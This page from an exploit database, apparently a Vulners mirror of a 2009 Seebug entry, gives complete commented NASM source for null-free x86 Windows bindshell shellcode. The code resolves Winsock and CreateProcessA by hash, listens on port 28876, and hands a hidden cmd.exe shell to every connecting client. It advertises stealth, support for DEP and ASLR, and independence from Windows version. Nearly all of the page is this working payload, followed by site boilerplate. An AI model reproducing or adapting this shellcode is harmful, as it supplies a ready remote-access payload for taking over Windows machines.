Lucene search
K

Windows x86 null-free bindshell for Windows 5.0-6.0 all service packs

🗓️ 24 Jul 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Windows x86 null-free bindshell for Windows 5.0-6.0 with all service packs, features NULL Free, Windows version and service pack independent, compatible with "/3GB", DEP/ASLR, Windows 7, stealth, unlimited consecutive connections, and accepts connections on almost any port

Code

                                                BITS 32
; Windows x86 null-free bindshell for Windows 5.0-6.0 all service packs.
; (See http://skypher.com/wiki/index.php/Hacking/Shellcode/Bind/NGS).
; Based largely on code and ideas (C) 2005 by Dafydd Stuttard, NGS Software.
; (See http://www.ngssoftware.com/papers/WritingSmallShellcode.pdf).
; Thanks to Pete Beck.
;
; Features both in this and the original code:
;  + NULL Free
;  + Windows version and service pack independant.
; Improvements of this code over the original:
;  + No assumptions are made about the values of registers.
;  + "/3GB" compatible: pointers are not assume to be smaller than 0x80000000.
;  + DEP/ASLR compatible: data is not executed, code is not modified.
;  + Windows 7 compatible: kernel32 is found based on the length of its name.
;  + Stealth: does not display a console windows on the target machine when 
;    cmd.exe is executed.
;  + Allows an unlimited number of consecutive connections.
;  + Can except connections on almost any port. The range of acceptable port
;    numbers is only limited by the fact that the negative value of the port
;    number must not contain nulls.

port equ 28876                          ; The port number to bind to.

%if ((-port & 0xFF) == 0) || (-port & 0xFF00 == 0)
  %error The given port number would result in NULLs in the code :(
%endif

AF_INET                                 equ 2

; These hashes are calculated with a separate tool.
hash_kernel32_CreateProcessA            equ 0x81
hash_kernel32_LoadLibraryA              equ 0x59
hash_ws2_32_WSAStartup                  equ 0xD3
hash_ws2_32_WSASocket                   equ 0x62
hash_ws2_32_bind                        equ 0x30
hash_ws2_32_listen                      equ 0x20
hash_ws2_32_accept                      equ 0x41
sizeof_proc_address_table               equ 7 * 4
offset_WSAStartup_in_hash_table         equ 2

%define B2W(b1,b2)                      (((b2) << 8) + (b1))
%define W2DW(w1,w2)                     (((w2) << 16) + (w1))
%define B2DW(b1,b2,b3,b4)               (((b4) << 24) + ((b3) << 16) + ((b2) << 8) + (b1))

start:
    XOR     ECX, ECX                    ; ECX = 0
; Find base address of kernel32.dll. This code should work on Windows 5.0-7.0
    MOV     ESI, [FS:ECX + 0x30]        ; ESI = &(PEB) ([FS:0x30])
    MOV     ESI, [ESI + 0x0C]           ; ESI = PEB->Ldr
    MOV     ESI, [ESI + 0x1C]           ; ESI = PEB->Ldr.InInitOrder (first module)
next_module:
    MOV     EBP, [ESI + 0x08]           ; EBP = InInitOrder[X].base_address
    MOV     EDI, [ESI + 0x20]           ; EDI = InInitOrder[X].module_name (unicode string)
    MOV     ESI, [ESI]                  ; ESI = InInitOrder[X].flink (next module)
    CMP     [EDI + 12*2], CL            ; modulename[12] == 0 ? strlen("kernel32.dll") == 12
    JNE     next_module                 ; No: try next module.

; Create hash table and "ws2_32" (for LoadLibraryA) on the stack:
    PUSH    BYTE '2'                    ; Stack = "2"
    PUSH    B2DW('s', '2', '_', '3')    ; Stack = "s2_32"
    PUSH    B2DW(hash_ws2_32_bind, hash_ws2_32_listen, hash_ws2_32_accept, 'w') ; hash, hash, "ws2_32"
end_of_hash_table_marker                equ 'w'
    PUSH    B2DW(hash_kernel32_CreateProcessA, hash_kernel32_LoadLibraryA, hash_ws2_32_WSAStartup, hash_ws2_32_WSASocket)
sizeof_hash_table                       equ 7
    MOV     ESI, ESP                    ; ESI -> Hash table
; Reserve space for WSADATA
    MOV     CH, 0x3                     ; ECX = 0x300
    SUB     ESP, ECX                    ; Reserve space for WSADATA
; Create a bunch of NULLs on the stack
    SUB     ESP, ECX                    ; Reserve space for NULLs
    MOV     EDI, ESP                    ; EDI = &(NULLs)
    SALC                                ; AL = 0
    REP STOSB                           ;
; Prepare arguments for various functions on the stack:
; WSASocket(__in int af=2, __in int type=1, __in int protocol=0,
;            __in LPWSAPROTOCOL_INFO lpProtocolInfo=0, __in GROUP g=0, 
;            __in DWORD dwFlags=0)
                                        ; __in LPWSAPROTOCOL_INFO lpProtocolInfo=0
                                        ; __in GROUP g=0
                                        ; __in DWORD dwFlags=0
                                        ; __in int protocol=0
    INC     ECX                         ;
    PUSH    ECX                         ; __in int type = SOCK_STREAM (1)
    INC     ECX                         ;
    PUSH    ECX                         ; __in int af = AF_INET (2)
; WSAStartup(__in WORD wVersionRequested=2, __out LPWSADATA lpWSADATa=stack)
    PUSH    EDI                         ; __out LPWSADATA lpWSAData = &(WSADATA)
    PUSH    ECX                         ; __in WORD wVersionRequested = 2 (2.0)
; Set up EDI so that a proc addresses table can be created in the NULLs,
; followed by sufficient space to store a struct sockaddr_in:
    SUB     EDI, BYTE sizeof_proc_address_table + sizeof_sockaddr_in

get_proc_address_loop:
    MOVSB                               ; [EDI] = hash
    DEC     EDI                         ; Restore EDI
; Find the PE header and export and names tables of the module:
    MOV     EBX, [EBP + 0x3C]           ; EBX = &(PE header)
    MOV     EBX, [EBP + EBX + 0x78]     ; EBX = offset(export table)
    ADD     EBX, EBP                    ; EBX = &(export table)
    MOV     ECX, [EBX + 0x20]           ; ECX = offset(names table)
    ADD     ECX, EBP                    ; ECX = &(names table)
    PUSH    ESI                         ; Save ESI
; Hash each function name and check it against the requested hash:
    XOR     EDX, EDX                    ; EDX = function number (0)
next_function_loop:
; Get the next function name:
    INC     EDX                         ; Increment function number
    MOV     ESI, [ECX + EDX * 4]        ; ESI = offset(function name)
    ADD     ESI, EBP                    ; ESI = &(function name)
    XOR     EAX, EAX                    ; EAX = 0
hash_loop:
; Hash the function name:
    LODSB                               ; Load a character of the function name
    XOR     AL, 0x71                    ; Calculate a hash
    SUB     AH, AL                      ;
    CMP     AL, 0x71                    ; Is this the terminating 0 byte?
    JNE     hash_loop                   ; No: continue hashing
    CMP     AH, [EDI]                   ; Yes: Does the hash match ?
; Check if the hash matches and loop if not:
    JNZ     next_function_loop
    POP     ESI                         ; Restore ESI
; Find the address of the requested function:
    MOV     ECX, [EBX + 0x24]           ; ECX = offset ordinals table
    ADD     ECX, EBP                    ; ECX = &oridinals table
    MOVZX   EDX, WORD [ECX + 2 * EDX]   ; EDX = ordinal number of function
    MOV     ECX, [EBX + 0x1C]           ; ECX = offset address table
    ADD     ECX, EBP                    ; ECX = &address table
    MOV     EAX, EBP                    ; EAX = &(module)
    ADD     EAX, [ECX + 4 * EDX]        ; EAX = &(function)
; Save the address of the requested function:
    STOSD                               ; Save proc address
; When needed, call LoadLibraryA to start looking for ws2_32.dll functions:
    CMP     BYTE [ESI], hash_ws2_32_WSAStartup ; We just found LoadLibraryA
    JNE     skip_load_library           ;
    LEA     EBX, [ESI - offset_WSAStartup_in_hash_table + sizeof_hash_table]
    PUSH    EBX                         ; __in LPCTSTR lpFileName = &("ws2_32")
    CALL    EAX                         ; LoadLibraryA(&"ws2_32") 
    PUSH    EDI                         ; Save proc address table[WSAStartup]
    XCHG    EAX, EBP                    ; EBP = &(ws2_32.dll)
skip_load_library:
; Continue until all hashes have been found:
    CMP     BYTE [ESI], end_of_hash_table_marker
    JNE     get_proc_address_loop       ;
    POP     ESI
; Call WSAStartup (Arguments are already on the stack)
    LODSD
    CALL    EAX                         ; WSASTARTUP
; Call WSASocket (Arguments are already on the stack)
    LODSD
    CALL    EAX
    XCHG    EAX, EBP                    ; EBP = Server socket

; Create a struct sockaddr_in on the stack for use by bind()
sizeof_sockaddr_in equ 2 + 2 + 4 + 8
    SUB     DWORD [EDI], -W2DW( AF_INET, B2W(port >> 8, port & 0xFF)); sin_family = AF_INET, sin_port = (port, little endian!)
; Set up the 2nd and 3rd argument for bind:
;   bind(__in SOCKET s=(added later), __in const struct sockaddr *name, __in int namelen)
    PUSH    BYTE 0x10                   ; __in int namelen = 0x10
    PUSH    EDI                         ; __in const struct sockaddr *name = &(sockaddr_in)
; bind(), listen() and accept() all take the server socket as their first
; argument. listen() and accept() only need NULLs for the remaining arguments
; and the arguments for bind() are already on the stack. Because bind() and 
; accept() return 0 and listen() returns a socket, which is not 0, a loop can be
; used to call them:
;   listen(__in SOCKET s=(added later), __in int backlog=0)
;   accept(__in SOCKET s=(added later), __in struct sockaddr *addr=0, __inout int *addrlen=0)
call_loop:
    LODSD
accept_loop:
    PUSH    EBP                         ; __in SOCKET s = Server socket descriptor
    CALL    EAX
; Check if accept() has returned a socket:
    TEST    EAX, EAX
    JZ      call_loop

; Create structures on the stack for CreateProcessA
; STARTUPINFO {
;   DWORD cb                            00-03: >= sizeof(STARTUPINFO)
;   LPTSTR lpReserved                   04-07: 0
;   LPTSTR lpDesktop                    08-0B: 0
;   LPTSTR lpTitle                      0C-0F: 0
;   DWORD dwX                           10-13: 0
;   DWORD dwY                           14-17: 0
;   DWORD dwXSize                       18-1B: 0
;   DWORD dwYSize                       1C-1F: 0
;   DWORD dwXCountChars                 20-23: 0
;   DWORD dwYCountChars                 24-27: 0
;   DWORD dwFillAttribute               28-2B: 0
;   DWORD dwFlags                       2C-2F: (STARTF_USESTD_HANDLES 0x100)
;   WORD wShowWindow                    30-31: 0
;   WORD cbReserved2                    32-33: 0
;   LPBYTE lpReserved2                  34-37: 0
;   HANDLE hStdInput                    38-3B: (Socket descriptor)
;   HANDLE hStdOutput                   3C-3F: (Socket descriptor)
;   HANDLE hStdError                    40-43: (Socket descriptor)
; }
sizeof_STARTUPINFO                      equ 0x44
offset_dwFlags_in_STARTUPINFO           equ 0x2C
offset_hStdInput_in_STARTUPINFO         equ 0x38
; Each call to accept() removes two DWORDS off the stack. These must be put back
; or ESP will run off the stack eventually:
    XOR     EDX, EDX                    ; EDX = 0
    PUSH    EDX                         ; Restore stack #1
; We'll also create a struct STARTUPINFO
    PUSH    B2DW('c', 'm', 'd', ' ')    ; Restore stack #2 and STARTUPINFO.cb = "cmd " (> 0)
    LEA     EDI, [ESP + offset_hStdInput_in_STARTUPINFO]; EDI = &(STARTUPINFO.hStdInput)
    STOSD                               ; STARTUPINFO.hStdInput = Socket descriptor
    STOSD                               ; STARTUPINFO.hStdOutput = Socket descriptor
    STOSD                               ; STARTUPINFO.hStdError = Socket descriptor
    MOV     BYTE [EDI - sizeof_STARTUPINFO + offset_dwFlags_in_STARTUPINFO + 1], 1 ; STARTUPINFO.dwFlags = STARTF_USESTDHANDLES (0x100)
; CreateProcess(...)
    PUSH    ESP                         ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO)
    XCHG    [ESP], EDI                  ; __out LPPROCESS_INFORMATION lpProcessInformation == &(STARTUPINFO) + sizeof(STARTUPINFO)
    PUSH    EDI                         ; __in LPSTARTUPINFO lpStartupInfo == &(STARTUPINFO)
    PUSH    EDX                         ; __in_opt LPCTSTR lpCurrentDirectory = NULL
    PUSH    EDX                         ; __in_opt LPVOID lpEnvironment = NULL
    PUSH    EDX                         ; __in DWORD dwCreationFlags = 0
    MOV     BYTE [EDI-5*4+3], 0x8       ; __in DWORD dwCreationFlags = CREATE_NO_WINDOW (0x08000000)
    PUSH    EDI                         ; __in BOOL bInheritHandles = TRUE (>0)
    PUSH    EDX                         ; __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL
    PUSH    EDX                         ; __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL
    PUSH    EDI                         ; __inout_opt LPTSTR lpCommandLine = &("cmd ")
    PUSH    EDX                         ; __in_opt LPCTSTR lpApplicationName = NULL
    CALL    [ESI - sizeof_proc_address_table]
; Load accept() into EAX and jump back into our code.
    MOV     EAX, [ESI - 4]
    JMP     accept_loop
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Jul 2009 00:00Current
7.1High risk
Vulners AI Score7.1
22